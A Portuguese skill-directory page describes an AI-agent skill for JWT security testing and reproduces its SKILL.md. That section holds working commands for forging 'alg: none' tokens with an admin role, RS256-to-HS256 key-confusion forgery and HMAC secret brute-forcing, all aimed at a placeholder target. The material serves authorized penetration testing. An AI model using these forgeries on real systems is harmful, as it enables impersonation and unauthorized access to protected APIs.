Pular para o conteúdo
Skillpedia
Segurança35 mil · #6231

testing-jwt-token-security

Ajuda seu agente a verificar a segurança de tokens JWT. Ele procura por fraquezas que podem permitir que invasores acessem dados ou assumam a identidade de outros usuários. Essencial para proteger APIs.

O que ela faz

Esta ferramenta ajuda a verificar se a segurança de tokens de autenticação (chamados JWT) está forte. Ela procura por falhas que podem permitir que pessoas não autorizadas acessem informações ou realizem ações.

Quando usar

  • ✓Ao testar a segurança de um site ou aplicativo.
  • ✓Quando você suspeita que um token de acesso pode ter sido comprometido.
  • ✓Para garantir que apenas usuários autorizados possam acessar certas partes de um sistema.

Exemplo do que pedir para a IA

“Verifique a segurança dos tokens JWT do meu aplicativo.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-jwt-token-security/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-jwt-token-security/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta analisa a estrutura do token, tenta burlar as regras de segurança e verifica se é possível modificar informações dentro do token para ganhar acesso indevido.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-jwt-token-security

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-jwt-token-security/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Testando a Segurança de Tokens JWT

Quando Usar

  • Durante testes de penetração autorizados quando a aplicação usa JWT para autenticação ou autorização
  • Ao avaliar a segurança de APIs onde JWTs são passados como tokens Bearer ou em cookies
  • Para avaliar implementações de SSO que usam tokens JWT/JWS/JWE
  • Ao testar fluxos OAuth 2.0 ou OpenID Connect que emitem JWTs
  • Durante auditorias de segurança de arquiteturas de microsserviços usando JWT para autenticação entre serviços

Pré-requisitos

  • Autorização: Acordo escrito de teste de penetração para o alvo
  • jwt_tool: Kit de ferramentas de ataque JWT (pip install jwt_tool ou git clone https://github.com/ticarpi/jwt_tool.git)
  • Burp Suite Professional: Com a extensão JSON Web Token da BApp Store
  • Python PyJWT: Para scripts de ataques JWT personalizados (pip install pyjwt)
  • Hashcat: Para força bruta de segredos HMAC (apt install hashcat)
  • jq: Para processamento de JSON
  • JWT do Alvo: Um token JWT válido da aplicação

Fluxo de Trabalho

Passo 1: Decodificar e Analisar a Estrutura do JWT

Extraia e examine os componentes de cabeçalho (header), carga útil (payload) e assinatura (signature).

# Decode JWT parts (base64url decode)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

# Decode header
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# Output: {"alg":"HS256","typ":"JWT"}

# Decode payload
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}

# Using jwt_tool for comprehensive analysis
python3 jwt_tool.py "$JWT"

# Check for sensitive data in the payload:
# - PII (email, phone, address)
# - Internal IDs or database references
# - Role/permission claims
# - Expiration times (exp, nbf, iat)
# - Issuer (iss) and audience (aud)

Passo 2: Testar Ataque Algorithm None

Tente forjar tokens definindo o algoritmo como "none".

# jwt_tool algorithm none attack
python3 jwt_tool.py "$JWT" -X a

# Manual none algorithm attack
# Create header: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')

# Create modified payload (change role to admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')

# Construct token with empty signature
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "Forged JWT: $FORGED_JWT"

# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_JWT" \
  "https://target.example.com/api/admin/users" | jq .

# Try variations: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
  HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
  FORGED="${HEADER}.${PAYLOAD}."
  echo -n "alg=$alg: "
  curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $FORGED" \
    "https://target.example.com/api/admin/users"
  echo
done

Passo 3: Testar Confusão de Algoritmo (RS256 para HS256)

Se o servidor usar RS256, tente mudar para HS256 e assinar com a chave pública.

# Step 1: Obtain the server's public key
# Check common locations
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .

# Step 2: Extract public key from JWKS
# Save the JWKS and convert to PEM format
# Use jwt_tool or openssl

# Step 3: jwt_tool key confusion attack
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem

# Manual algorithm confusion attack with Python
python3 << 'PYEOF'
import jwt
import json

# Read the server's RSA public key
with open('public_key.pem', 'r') as f:
    public_key = f.read()

# Create forged payload
payload = {
    "sub": "1234567890",
    "name": "Admin User",
    "role": "admin",
    "iat": 1516239022,
    "exp": 9999999999
}

# Sign with HS256 using the RSA public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"Forged token: {forged_token}")
PYEOF

# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
  "https://target.example.com/api/admin/users"

Passo 4: Força Bruta do Segredo HMAC

Se HS256 for usado, tente quebrar o segredo de assinatura.

# Usando jwt_tool com segredos comuns
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt


…
Perguntas frequentes

O que é um token JWT?

É um pequeno pedaço de informação que um servidor envia para o seu navegador (ou aplicativo) para lembrar quem você é. É como um crachá de identificação digital.

Por que é importante testar a segurança de JWTs?

Se os tokens JWT não forem protegidos corretamente, um invasor pode falsificar um token para se passar por outra pessoa, roubar dados ou obter acesso a áreas restritas.

Preciso de conhecimento técnico para usar isso?

Sim, esta ferramenta é voltada para profissionais de segurança que entendem de testes de penetração e como os tokens JWT funcionam.

Detalhes

Descrição original do autor

Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6231
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas